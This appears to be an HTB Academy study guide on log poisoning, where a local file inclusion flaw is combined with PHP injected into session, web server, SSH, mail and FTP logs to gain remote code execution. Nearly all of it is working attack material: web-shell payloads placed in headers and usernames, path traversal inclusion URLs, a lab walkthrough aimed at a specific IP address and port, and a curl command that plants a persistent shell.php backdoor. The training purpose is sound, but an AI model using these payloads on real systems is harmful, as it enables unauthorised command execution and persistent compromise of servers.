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Log Poisoning Techniques - HTB Academy Guide

Overview

Log poisoning combines LFI with log file contamination to achieve remote code execution by injecting malicious code into log files that can later be included and executed.

Prerequisites:

  • LFI vulnerability allowing access to log files
  • Ability to control logged data (User-Agent, HTTP headers, SSH attempts, etc.)
  • Web server with write permissions to log files

Method 1: PHP Session Poisoning

Complete 5-Step Workflow

Step 1: Identify Session File Location

# Common PHP session locations
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID

# Get PHPSESSID from cookies
curl -I http://target.com/ | grep -i set-cookie

Step 2: Poison Session Data

# Include poisoned session via LFI
http://target.com/lfi.php?file=../../../../var/lib/php/sessions/sess_SESSIONID

# Inject PHP code into session
http://target.com/lfi.php?language=<?php system($_GET["cmd"]); ?>

Step 3: Execute Commands

# Access session file with command parameter
http://target.com/lfi.php?file=../../../../var/lib/php/sessions/sess_SESSIONID&cmd=id

Method 2: Apache/Nginx Access Log Poisoning

User-Agent Poisoning

Step 1: Identify Log Location

# Apache logs
/var/log/apache2/access.log
/var/log/httpd/access_log

# Nginx logs  
/var/log/nginx/access.log

Step 2: Poison User-Agent Header

# Via curl
curl -s "http://target.com/" -H "User-Agent: <?php system(\$_GET['cmd']); ?>"

# Via Burp Suite
# Intercept request and modify User-Agent header
User-Agent: <?php system($_GET['cmd']); ?>

Step 3: Execute via Log Inclusion

# Include poisoned access log
http://target.com/lfi.php?file=../../../../var/log/apache2/access.log&cmd=whoami

Method 3: SSH Log Poisoning

SSH Auth Log Contamination

Step 1: Identify SSH Log Location

/var/log/auth.log       # Debian/Ubuntu
/var/log/secure         # CentOS/RHEL

Step 2: Poison SSH Login Attempts

# Inject PHP code in username
ssh '<?php system($_GET["cmd"]); ?>'@target.com

# Multiple attempts for reliable poisoning
for i in {1..5}; do
    ssh '<?php system($_GET["cmd"]); ?>'@target.com
done

Step 3: Execute via Log Inclusion

http://target.com/lfi.php?file=../../../../var/log/auth.log&cmd=id

Method 4: Mail Log Poisoning

SMTP Log Contamination

Common Mail Logs:

/var/log/mail.log
/var/log/mail.err
/var/mail/www-data

Poisoning Technique:

# Send email with PHP payload in sender field
telnet target.com 25
MAIL FROM: <?php system($_GET["cmd"]); ?>

Method 5: FTP Log Poisoning

FTP Authentication Logs

Log Locations:

/var/log/vsftpd.log
/var/log/ftp.log

Poisoning via FTP Login:

ftp target.com
# Username: <?php system($_GET["cmd"]); ?>

HTB Academy Log Poisoning Lab

Complete Lab Walkthrough

Objective: Achieve RCE via log poisoning and read flag

Step 1: Identify Vulnerable Parameter

http://83.136.254.199:58743/index.php?language=en

Step 2: Test LFI

http://83.136.254.199:58743/index.php?language=../../../../etc/passwd

Step 3: Identify Session Location

# Check for PHP sessions
http://83.136.254.199:58743/index.php?language=../../../../var/lib/php/sessions/sess_SESSIONID

Step 4: Poison Session

# Inject PHP code via language parameter
http://83.136.254.199:58743/index.php?language=<?php system($_GET["cmd"]); ?>

Step 5: Execute Commands

# Include session with command execution
http://83.136.254.199:58743/index.php?language=../../../../var/lib/php/sessions/sess_SESSIONID&cmd=find / -name "*flag*" 2>/dev/null

Advanced Log Poisoning Techniques

Multi-Field Poisoning

# Poison multiple HTTP headers
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" \
     -H "X-Forwarded-For: <?php system(\$_GET['cmd2']); ?>" \
     -H "Referer: <?php system(\$_GET['cmd3']); ?>" \
     http://target.com/

Persistent Shell Creation

# Create persistent backdoor in logs
curl -H "User-Agent: <?php file_put_contents('shell.php', '<?php system(\$_GET[\"cmd\"]); ?>'); ?>" \
     http://target.com/

[Content continues with troubleshooting and additional techniques...]

This guide covers advanced log poisoning techniques from HTB Academy's File Inclusion module.